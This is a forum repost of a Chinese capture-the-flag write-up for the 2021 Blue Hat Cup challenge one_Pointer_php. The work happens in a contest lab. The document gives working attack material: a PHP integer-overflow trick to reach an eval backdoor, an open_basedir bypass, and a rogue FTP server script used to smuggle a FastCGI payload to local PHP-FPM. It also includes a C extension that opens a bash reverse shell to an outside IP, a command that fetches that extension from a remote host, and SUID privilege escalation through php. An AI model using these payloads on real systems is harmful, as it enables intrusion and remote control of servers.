Jump to content
请先注册账号再浏览本站!Maak een account aan voordat u deze site bezoekt!
This Wind

“蓝帽杯” 初赛 one_Pointer_php WriteUp 2021 讲解

Recommended Posts

img

[toc]

前言

很好的一个题,偏向于真实的实战环境,但是当时没有做出来真的很可惜,幸好赵总在buuctf上复现了这道题,可以让我这个菜鸡得以复现。

解题

进入题目,冬奥会火炬???:

img

题目给了源码,源码就两个,都非常简单:

  • user.php
PHP
 
1
2
3
4
5
<?php
class User{
	public $count;
}
?>

就定义了一个简单User类。

  • add_api.php
PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php
include "user.php";
if($user=unserialize($_COOKIE["data"])){
	$count[++$user->count]=1;    // 数组$count的第几个属性赋值为1
	if($count[]=1){
		$user->count+=1;
		setcookie("data",serialize($user));
	}else{
		eval($_GET["backdoor"]);
	}
}else{
	$user=new User;
	$user->count=1;
	setcookie("data",serialize($user));
}
?>

是个后门文件,只要能绕过第5行的 $count[]=1 即可进入到后面的 eval 代码执行处。但是这里是一个赋值语句(一个等号),并且赋的值是1,所以按理说不管怎样返回的都是 True:

image-20210503233357211

也就没法进入到 else 语句中的代码执行阶段了,那我们便要想办法绕过这里。

PHP 数组溢出

在 PHP 中,整型数是有一个范围的,对于32位的操作系统,最大的整型是2147483647,即2的31次方,最小为-2的31次方。如果给定的一个整数超出了整型(integer)的范围,将会被解释为浮点型(float)。同样如果执行的运算结果超出了整型(integer)范围,也会返回浮点型(float)。

PHP
 
1
2
3
4
5
6
7
8
9
10
<?php
$a = 123445566;
$b = 9223372036854775807;
$c = 9223372036854775808;
$d = 50000000000000 * 1000000;

var_dump($a);
var_dump($b);
var_dump($c);
var_dump($d);

执行得到结果为:

PHP
 
1
2
3
4
int(123445566)
int(9223372036854775807)
float(9.2233720368548E+18)
float(5.0E+19)

但是这又什么用呢?我们继续往下看。

PHP
 
1
2
3
4
5
<?php
$userconut = 9223372036854775806;
$count[++$userconut]=1;
$count[]=1;
print_r($count);

得到:

PHP
 
1
2
3
4
5
6
7
8
PHP Warning:  Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4

Warning: Cannot add element to the array as the next element is already occupied in C:\Users\LiuSir\Desktop\www\index.php on line 4
Array
(
    [9223372036854775807] => 1
)
[Finished in 0.2s]

可以看到代码报错了。这是因为先让 $user->count 为 PHP_INT_MAX - 1,自增之后,数组 count 的最大键为 PHP_INT_MAX,此时 $count[]=1,新键等于数组的最大键+1,键值为1,这里键为 PHP_INT_MAX + 1,导致报错,返回值为0,然后就可以成功绕过并进入到 eval() 中了。

payload:

PHP
 
1
O:4:"User":1:{s:5:"count";i:9223372036854775806;}

然后修改 Cookie 后便可以进行代码执行了:

image-20210503234104839

image-20210503234144776

查看 phpinfo,发现题目做了以下限制:

  • disable_functions:

20210502012240.png

过滤了各种命令执行函数,但是像 scandir、file_get_contents、file_put_contents 等目录和文件操作函数没有被过滤

  • open_basedir

20210502012242.png

设置了 open_basedir,只能访问 Web 目录,但我们可以利用chdir()与ini_set()组合来绕过 open_basedir:

PHP
 
1
/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');print_r(scandir('/'));

20210502012244.png

在根目录里发现了 flag。

尝试使用 file_get_contents() 等函数读取均失败,猜测是出题人对flag的权限做了限制。那我们就要想办法提权了,但是要提权则必须先拿到 Shell 执行命令,也就是得要先绕过 disable_functions。

攻击 PHP-FPM 绕过 Disable_Functions

这里尝试了很多方法绕过 disable_functions 均失败,当我读取 /proc/self/cmdline 时发现当前进程是 php-fpm:

20210502012246.png

所以说这道题应该就是通过攻击 php-fpm 来绕过 disable_functions 了。

首先查看nginx配置文件:

image-20210502004803127

发现 PHP-FPM 绑定在了本地 9001 端口上。

好了,既然我们可以通过 eval() 执行任意代码,那我们便可以构造恶意代码进行 SSRF,利用 SSRF 攻击本地的 PHP-FPM。但是由于这里禁用了许多函数和类,像那些普通能构成 SSRF 的函数和类都无法使用,但是 FTP 协议未被禁用。

我们可以通过在 VPS上搭建恶意的FTP服务器,骗取目标主机将 Payload 重定向到自己的 9001 端口上,从而实现攻击 PHP-FPM 并执行命令。

这里利用了 FTP 协议工作方式中的被动方式,在该方式中,FTP 客户端和服务端在建立控制通道的时候用二者的TCP 21端口建立连接,建立连接后发送 PASV 命令。FTP 服务器收到 PASV 命令后,随机打开一个高端端口(端口号大于1024)并且通知客户端在这个端口上传送数据的请求,客户端连接到 FTP 服务器的此高端端口,通过三次握手建立通道,然后FTP服务器将通过这个端口进行数据的传送。

可见,在被动方式中,FTP 客户端和服务端的数据传输端口是由服务端指定的,而且还有一点是很多地方没有提到的,实际上除了端口,服务器的地址也是可以被指定的。由于 FTP 和 HTTP 类似,协议内容全是纯文本,所以我们可以很清晰的看到它是如何指定地址和端口的:

CODE
 
1
227 Entering Passive Mode(192,168,9,2,4,8)

227 和 Entering Passive Mode 类似 HTTP 的状态码和状态短语,而 (192,168,9,2,4,8) 代表让客户端到连接 192.168.9.2 的 4 * 256 + 8 = 1032 端口。

这样这个如何利用就很明显了,file_put_contents() 函数在使用 FTP 协议时,会将第二个参数 data 中的内容上传到 FTP 服务器。由于上面说的被动模式下,服务器的地址和端口是可控的,所以我们就可以将地址和端口指到 127.0.0.1:9000。同时由于 FTP 的特性,其会把 data 原封不动的发给 127.0.0.1:9000,不会有任何的多余内容(类似 Gopher 协议),完美符合攻击 Fastcgi/PHP-FPM 的要求。

所以,我们便可以通过 file_put_contents() 函数构造FTP-SSRF,来实现对目标主机上 PHP-FPM 的攻击。下面我们演示攻击过程。

首先尝试使用 Gopherus 生成的攻击 PHP-FPM 的 Payload 失败,然后尝试通过加载恶意 .so 扩展的方式。

先编写一个扩展(网上的脚本,亘古不变):

PHP
 
1
2
3
4
5
6
7
8
#define _GNU_SOURCE
#include <stdlib.h>
#include <stdio.h>
#include <string.h>

__attribute__ ((__constructor__)) void preload (void){
    system("bash -c 'bash -i >& /dev/tcp/47.xxx.xxx.72/2333 0>&1'");
}

编译:

PHP
 
1
gcc hpdoger.c -fPIC -shared -o hpdoger.so

将生成的 hpdoger.so 上传到目标主机的 /tmp 目录中:

PHP
 
1
/add_api.php?backdoor=mkdir('css');chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');copy('http://47.xxx.xxx.72:8848/hpdoger.so','/tmp/hpdoger.so');

然后简单修改以下脚本(根据 fcgi_jailbreak.php 改的)并执行,生成 payload:

PHP
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
<?php
/**
 * Note : Code is released under the GNU LGPL
 *
 * Please do not change the header of this file
 *
 * This library is free software; you can redistribute it and/or modify it under the terms of the GNU
 * Lesser General Public License as published by the Free Software Foundation; either version 2 of
 * the License, or (at your option) any later version.
 *
 * This library is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;
 * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.
 *
 * See the GNU Lesser General Public License for more details.
 */
/**
 * Handles communication with a FastCGI application
 *
 * @author      Pierrick Charron <pierrick@webstart.fr>
 * @version     1.0
 */
class FCGIClient
{
    const VERSION_1            = 1;
    const BEGIN_REQUEST        = 1;
    const ABORT_REQUEST        = 2;
    const END_REQUEST          = 3;
    const PARAMS               = 4;
    const STDIN                = 5;
    const STDOUT               = 6;
    const STDERR               = 7;
    const DATA                 = 8;
    const GET_VALUES           = 9;
    const GET_VALUES_RESULT    = 10;
    const UNKNOWN_TYPE         = 11;
    const MAXTYPE              = self::UNKNOWN_TYPE;
    const RESPONDER            = 1;
    const AUTHORIZER           = 2;
    const FILTER               = 3;
    const REQUEST_COMPLETE     = 0;
    const CANT_MPX_CONN        = 1;
    const OVERLOADED           = 2;
    const UNKNOWN_ROLE         = 3;
    const MAX_CONNS            = 'MAX_CONNS';
    const MAX_REQS             = 'MAX_REQS';
    const MPXS_CONNS           = 'MPXS_CONNS';
    const HEADER_LEN           = 8;
    /**
     * Socket
     * @var Resource
     */
    private $_sock = null;
    /**
     * Host
     * @var String
     */
    private $_host = null;
    /**
     * Port
     * @var Integer
     */
    private $_port = null;
    /**
     * Keep Alive
     * @var Boolean
     */
    private $_keepAlive = false;
    /**
     * Constructor
     *
     * @param String $host Host of the FastCGI application
     * @param Integer $port Port of the FastCGI application
     */
    public function __construct($host, $port = 9001) // and default value for port, just for unixdomain socket
    {
        $this->_host = $host;
        $this->_port = $port;
    }
    /**
     * Define whether or not the FastCGI application should keep the connection
     * alive at the end of a request
     *
     * @param Boolean $b true if the connection should stay alive, false otherwise
     */
    public function setKeepAlive($b)
    {
        $this->_keepAlive = (boolean)$b;
        if (!$this->_keepAlive && $this->_sock) {
            fclose($this->_sock);
        }
    }
    /**
     * Get the keep alive status
     *
     * @return Boolean true if the connection should stay alive, false otherwise
     */
    public function getKeepAlive()
    {
        return $this->_keepAlive;
    }
    /**
     * Create a connection to the FastCGI application
     */
    private function connect()
    {
        if (!$this->_sock) {
            //$this->_sock = fsockopen($this->_host, $this->_port, $errno, $errstr, 5);
            $this->_sock = stream_socket_client($this->_host, $errno, $errstr, 5);
            if (!$this->_sock) {
                throw new Exception('Unable to connect to FastCGI application');
            }
        }
    }
    /**
     * Build a FastCGI packet
     *
     * @param Integer $type Type of the packet
     * @param String $content Content of the packet
     * @param Integer $requestId RequestId
     */
    private function buildPacket($type, $content, $requestId = 1)
    {
        $clen = strlen($content);
        return chr(self::VERSION_1)         /* version */
            . chr($type)                    /* type */
            . chr(($requestId >> 8) & 0xFF) /* requestIdB1 */
            . chr($requestId & 0xFF)        /* requestIdB0 */
            . chr(($clen >> 8 ) & 0xFF)     /* contentLengthB1 */
            . chr($clen & 0xFF)             /* contentLengthB0 */
            . chr(0)                        /* paddingLength */
            . chr(0)                        /* reserved */
            . $content;                     /* content */
    }
    /**
     * Build an FastCGI Name value pair
     *
     * @param String $name Name
     * @param String $value Value
     * @return String FastCGI Name value pair
     */
    private function buildNvpair($name, $value)
    {
        $nlen = strlen($name);
        $vlen = strlen($value);
        if ($nlen < 128) {
            /* nameLengthB0 */
            $nvpair = chr($nlen);
        } else {
            /* nameLengthB3 & nameLengthB2 & nameLengthB1 & nameLengthB0 */
            $nvpair = chr(($nlen >> 24) | 0x80) . chr(($nlen >> 16) & 0xFF) . chr(($nlen >> 8) & 0xFF) . chr($nlen & 0xFF);
        }
        if ($vlen < 128) {
            /* valueLengthB0 */
            $nvpair .= chr($vlen);
        } else {
            /* valueLengthB3 & valueLengthB2 & valueLengthB1 & valueLengthB0 */
            $nvpair .= chr(($vlen >> 24) | 0x80) . chr(($vlen >> 16) & 0xFF) . chr(($vlen >> 8) & 0xFF) . chr($vlen & 0xFF);
        }
        /* nameData & valueData */
        return $nvpair . $name . $value;
    }
    /**
     * Read a set of FastCGI Name value pairs
     *
     * @param String $data Data containing the set of FastCGI NVPair
     * @return array of NVPair
     */
    private function readNvpair($data, $length = null)
    {
        $array = array();
        if ($length === null) {
            $length = strlen($data);
        }
        $p = 0;
        while ($p != $length) {
            $nlen = ord($data{$p++});
            if ($nlen >= 128) {
                $nlen = ($nlen & 0x7F << 24);
                $nlen |= (ord($data{$p++}) << 16);
                $nlen |= (ord($data{$p++}) << 8);
                $nlen |= (ord($data{$p++}));
            }
            $vlen = ord($data{$p++});
            if ($vlen >= 128) {
                $vlen = ($nlen & 0x7F << 24);
                $vlen |= (ord($data{$p++}) << 16);
                $vlen |= (ord($data{$p++}) << 8);
                $vlen |= (ord($data{$p++}));
            }
            $array[substr($data, $p, $nlen)] = substr($data, $p+$nlen, $vlen);
            $p += ($nlen + $vlen);
        }
        return $array;
    }
    /**
     * Decode a FastCGI Packet
     *
     * @param String $data String containing all the packet
     * @return array
     */
    private function decodePacketHeader($data)
    {
        $ret = array();
        $ret['version']       = ord($data{0});
        $ret['type']          = ord($data{1});
        $ret['requestId']     = (ord($data{2}) << 8) + ord($data{3});
        $ret['contentLength'] = (ord($data{4}) << 8) + ord($data{5});
        $ret['paddingLength'] = ord($data{6});
        $ret['reserved']      = ord($data{7});
        return $ret;
    }
    /**
     * Read a FastCGI Packet
     *
     * @return array
     */
    private function readPacket()
    {
        if ($packet = fread($this->_sock, self::HEADER_LEN)) {
            $resp = $this->decodePacketHeader($packet);
            $resp['content'] = '';
            if ($resp['contentLength']) {
                $len  = $resp['contentLength'];
                while ($len && $buf=fread($this->_sock, $len)) {
                    $len -= strlen($buf);
                    $resp['content'] .= $buf;
                }
            }
            if ($resp['paddingLength']) {
                $buf=fread($this->_sock, $resp['paddingLength']);
            }
            return $resp;
        } else {
            return false;
        }
    }
    /**
     * Get Informations on the FastCGI application
     *
     * @param array $requestedInfo information to retrieve
     * @return array
     */
    public function getValues(array $requestedInfo)
    {
        $this->connect();
        $request = '';
        foreach ($requestedInfo as $info) {
            $request .= $this->buildNvpair($info, '');
        }
        fwrite($this->_sock, $this->buildPacket(self::GET_VALUES, $request, 0));
        $resp = $this->readPacket();
        if ($resp['type'] == self::GET_VALUES_RESULT) {
            return $this->readNvpair($resp['content'], $resp['length']);
        } else {
            throw new Exception('Unexpected response type, expecting GET_VALUES_RESULT');
        }
    }
    /**
     * Execute a request to the FastCGI application
     *
     * @param array $params Array of parameters
     * @param String $stdin Content
     * @return String
     */
    public function request(array $params, $stdin)
    {
        $response = '';
//        $this->connect();
        $request = $this->buildPacket(self::BEGIN_REQUEST, chr(0) . chr(self::RESPONDER) . chr((int) $this->_keepAlive) . str_repeat(chr(0), 5));
        $paramsRequest = '';
        foreach ($params as $key => $value) {
            $paramsRequest .= $this->buildNvpair($key, $value);
        }
        if ($paramsRequest) {
            $request .= $this->buildPacket(self::PARAMS, $paramsRequest);
        }
        $request .= $this->buildPacket(self::PARAMS, '');
        if ($stdin) {
            $request .= $this->buildPacket(self::STDIN, $stdin);
        }
        $request .= $this->buildPacket(self::STDIN, '');
        echo('data='.urlencode($request));
//        fwrite($this->_sock, $request);
//        do {
//            $resp = $this->readPacket();
//            if ($resp['type'] == self::STDOUT || $resp['type'] == self::STDERR) {
//                $response .= $resp['content'];
//            }
//        } while ($resp && $resp['type'] != self::END_REQUEST);
//        var_dump($resp);
//        if (!is_array($resp)) {
//            throw new Exception('Bad request');
//        }
//        switch (ord($resp['content']{4})) {
//            case self::CANT_MPX_CONN:
//                throw new Exception('This app can\'t multiplex [CANT_MPX_CONN]');
//                break;
//            case self::OVERLOADED:
//                throw new Exception('New request rejected; too busy [OVERLOADED]');
//                break;
//            case self::UNKNOWN_ROLE:
//                throw new Exception('Role value not known [UNKNOWN_ROLE]');
//                break;
//            case self::REQUEST_COMPLETE:
//                return $response;
//        }
    }
}
?>
<?php
// real exploit start here
//if (!isset($_REQUEST['cmd'])) {
//    die("Check your input\n");
//}
//if (!isset($_REQUEST['filepath'])) {
//    $filepath = __FILE__;
//}else{
//    $filepath = $_REQUEST['filepath'];
//}

$filepath = "/var/www/html/add_api.php";    // 目标主机已知的PHP文件的路径
$req = '/'.basename($filepath);
$uri = $req .'?'.'command=whoami';    // 啥也不是, 不用管
$client = new FCGIClient("unix:///var/run/php-fpm.sock", -1);
$code = "<?php system(\$_REQUEST['command']); phpinfo(); ?>";    // 啥也不是, 不用管
$php_value = "unserialize_callback_func = system\nextension_dir = /tmp\nextension = hpdoger.so\ndisable_classes = \ndisable_functions = \nallow_url_include = On\nopen_basedir = /\nauto_prepend_file = ";
$params = array(
    'GATEWAY_INTERFACE' => 'FastCGI/1.0',
    'REQUEST_METHOD'    => 'POST',
    'SCRIPT_FILENAME'   => $filepath,
    'SCRIPT_NAME'       => $req,
    'QUERY_STRING'      => 'command=whoami',
    'REQUEST_URI'       => $uri,
    'DOCUMENT_URI'      => $req,
#'DOCUMENT_ROOT'     => '/',
    'PHP_VALUE'         => $php_value,
    'SERVER_SOFTWARE'   => '80sec/wofeiwo',
    'REMOTE_ADDR'       => '127.0.0.1',
    'REMOTE_PORT'       => '9001',
    'SERVER_ADDR'       => '127.0.0.1',
    'SERVER_PORT'       => '80',
    'SERVER_NAME'       => 'localhost',
    'SERVER_PROTOCOL'   => 'HTTP/1.1',
    'CONTENT_LENGTH'    => strlen($code)
);
// print_r($_REQUEST);
// print_r($params);
//echo "Call: $uri\n\n";
echo $client->request($params, $code)."\n";
?>

image-20210502101153046

然后执行以下脚本自己 vps 上搭建一个恶意的 ftp 服务器:

PYTHON
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import socket
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 
s.bind(('0.0.0.0', 23))
s.listen(1)
conn, addr = s.accept()
conn.send(b'220 welcome\n')
#Service ready for new user.
#Client send anonymous username
#USER anonymous
conn.send(b'331 Please specify the password.\n')
#User name okay, need password.
#Client send anonymous password.
#PASS anonymous
conn.send(b'230 Login successful.\n')
#User logged in, proceed. Logged out if appropriate.
#TYPE I
conn.send(b'200 Switching to Binary mode.\n')
#Size /
conn.send(b'550 Could not get the file size.\n')
#EPSV (1)
conn.send(b'150 ok\n')
#PASV
conn.send(b'227 Entering Extended Passive Mode (127,0,0,1,0,9001)\n') #STOR / (2)
conn.send(b'150 Permission denied.\n')
#QUIT
conn.send(b'221 Goodbye.\n')
conn.close()

image-20210502101332465

然后在 vps 上开启一个 nc 监听,用于接收反弹的shell:

image-20210502101433135

最后通过 eval() 构造如下恶意代码通过 file_put_contents() 函数与我们 VPS 上恶意的 FTP 服务器建立连接:

PHP
 
1
/add_api.php?backdoor=$file = $_GET['file'];$data = $_GET['data'];file_put_contents($file,$data);&file=ftp://[email protected]:23/123&data=%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%02%3F%00%00%11%0BGATEWAY_INTERFACEFastCGI%2F1.0%0E%04REQUEST_METHODPOST%0F%19SCRIPT_FILENAME%2Fvar%2Fwww%2Fhtml%2Fadd_api.php%0B%0CSCRIPT_NAME%2Fadd_api.php%0C%0EQUERY_STRINGcommand%3Dwhoami%0B%1BREQUEST_URI%2Fadd_api.php%3Fcommand%3Dwhoami%0C%0CDOCUMENT_URI%2Fadd_api.php%09%80%00%00%B3PHP_VALUEunserialize_callback_func+%3D+system%0Aextension_dir+%3D+%2Ftmp%0Aextension+%3D+hpdoger.so%0Adisable_classes+%3D+%0Adisable_functions+%3D+%0Aallow_url_include+%3D+On%0Aopen_basedir+%3D+%2F%0Aauto_prepend_file+%3D+%0F%0DSERVER_SOFTWARE80sec%2Fwofeiwo%0B%09REMOTE_ADDR127.0.0.1%0B%04REMOTE_PORT9000%0B%09SERVER_ADDR127.0.0.1%0B%02SERVER_PORT80%0B%09SERVER_NAMElocalhost%0F%08SERVER_PROTOCOLHTTP%2F1.1%0E%02CONTENT_LENGTH49%01%04%00%01%00%00%00%00%01%05%00%01%001%00%00%3C%3Fphp+system%28%24_REQUEST%5B%27command%27%5D%29%3B+phpinfo%28%29%3B+%3F%3E%01%05%00%01%00%00%00%00

此时当 FTP 建立连接后,会通过被动模式将 Payload 重定向到目标主机本地 9001 端口的 PHP-FPM 上,并成功反弹Shell:

image-20210504001836923

SUID 提权

虽然拿到了 Shell,但是别高兴的太早,此时仍然读不了 flag,查看其权限可知当前用户没有权限读取 flag:

image-20210504002058937

所以接下来就是提权阶段了,最常见的就是 suid 提权了。

首先查看具有 suid 的命令:

BASH
 
1
find / -perm -u=s -type f 2>/dev/null

image-20210504002355597

如上图,发现 php 就有 suid 权限,直接进入交互模式执行代码绕过 open_basedir 后读取 flag 即可:

PHP
 
1
chdir('css');ini_set('open_basedir','..');chdir('..');chdir('..');chdir('..');chdir('..');ini_set('open_basedir','/');echo file_get_contents('/flag');

image-20210504002508877

又一个骚姿势

参考自:http://bubb1e.com/2021/04/29/%E8%93%9D%E5%B8%BD%E6%9D%AF2021WP_WEB/#0x02-one-Pointer-php

在蚁剑中也有通过攻击 PHP-FPM 绕过 Disable_Functions 的插件啊,但当时为什么就用不了呢?原来他蚁剑的 Payload 中用到的 fsockopen(),而 fsockopen() 被 Disable_Functions 给禁了,并且蚁剑的插件中没有 PHP-FPM 地址为 127.0.0.1:9001 的选项,所以自然就成功不了:

image-20210504004349669

但是在 PHP 中除了 fsockopen() 这个函数外,还有一个 pfsockopen() 二者几乎没有什么区别,在 fsockopen() 被禁用后我们可以用 pfsockopen() 进行代替。我们可以对蚁剑的 Payload 进行修改,即将 Payload 所有的 fsockopen() 替换为 pfsockopen()。需要替换的文件有以下几个:

  • \antData\plugins\as_bypass_php_disable_functions-master\payload.js
  • \antData\plugins\as_bypass_php_disable_functions-master\core\php_fpm\index.js

image-20210504010244656

然后进入到 \core\php_fpm\index.js 中,在 vals 中将 127.0.0.1:9000 改为 127.0.0.1:9001 的选项:

image-20210504010438986

全部修改完后,重启蚁剑,先在原来的 Shell 写个新的一句话 shell.php

image-20210504010547901

用蚁剑连接上这个 shell.php 后,执行 Bypass 插件:

image-20210504115954112

如上图所示,成功绕过。

成功后蚁剑会在 /var/www/html 目录上传一个 .antproxy.php 文件。我们创建副本,并将连接的 URL shell 脚本名字改为 .antproxy.php 来获得新的shell:

image-20210504120157436

直接使用 PHP 的 suid 权限去根目录查看 flag 即可:

image-20210504120241585

太骚了吧!我直接一个 woc!

Ending……

https://whoamianony.top/2021/05/03/CTF比赛记录/[2021 “蓝帽杯”初赛]one_Pointer_php/

Link to post
Share on other sites

Join the conversation

You can post now and register later. If you have an account, sign in now to post with your account.

Guest
Reply to this topic...

×   Pasted as rich text.   Paste as plain text instead

  Only 75 emoji are allowed.

×   Your link has been automatically embedded.   Display as a link instead

×   Your previous content has been restored.   Clear editor

×   You cannot paste images directly. Upload or insert images from URL.


Follow: 世界中文黑客论坛由CNHACKTEAM[CHT]创建,汇集国内外技术人员,这是一群研究网安黑客攻防技术领域的专家.

法务要求丨Legal丨закон丨القانون

请在学习期间遵守所在国家相关法律,否则后果自负!

Пожалуйста, соблюдайте законы страны, в которой вы находитесь, во время обучения, или будут последствия!

勉強期間中に該当する国の法律を守ってください。そうでなければ結果は自己責任です。

Please abide by the relevant laws of your country during your study, or you will be responsible for the consequences!

官方旗下项目丨About our project

声明:为净化国内外网络安全请勿发布违反国家国定的文章,团队不参与任何涉及黑色产业/攻击/渗透各国正规网站活动,只做网络安全研究,研究网络攻防技术。

世界中文黑客论坛由CNHACKTEAM(CHT)创建,汇集国内外技术人员,这是一群研究网络安全、黑客攻防技术领域的专家,你也可以加入我们!

黑客攻防  技术问答  0day  Hack News  CHT Team  使用指南  商城/Mall  商城订单查询  捐赠/donations  在线用户  X  联系邮箱email:[email protected]

友情链接丨Link丨Связь дружбы

CNHACKTEAM   CHT team official website     www.hac-ker.com     hacked.com.cn     www.77169.net     www.ddosi.com

申请或请未补上链接者联系我们的邮箱,谢谢!

×
×
  • Create New...

Important Information

Please use your computer to visit our website; Please agree to our website rules!Guidelines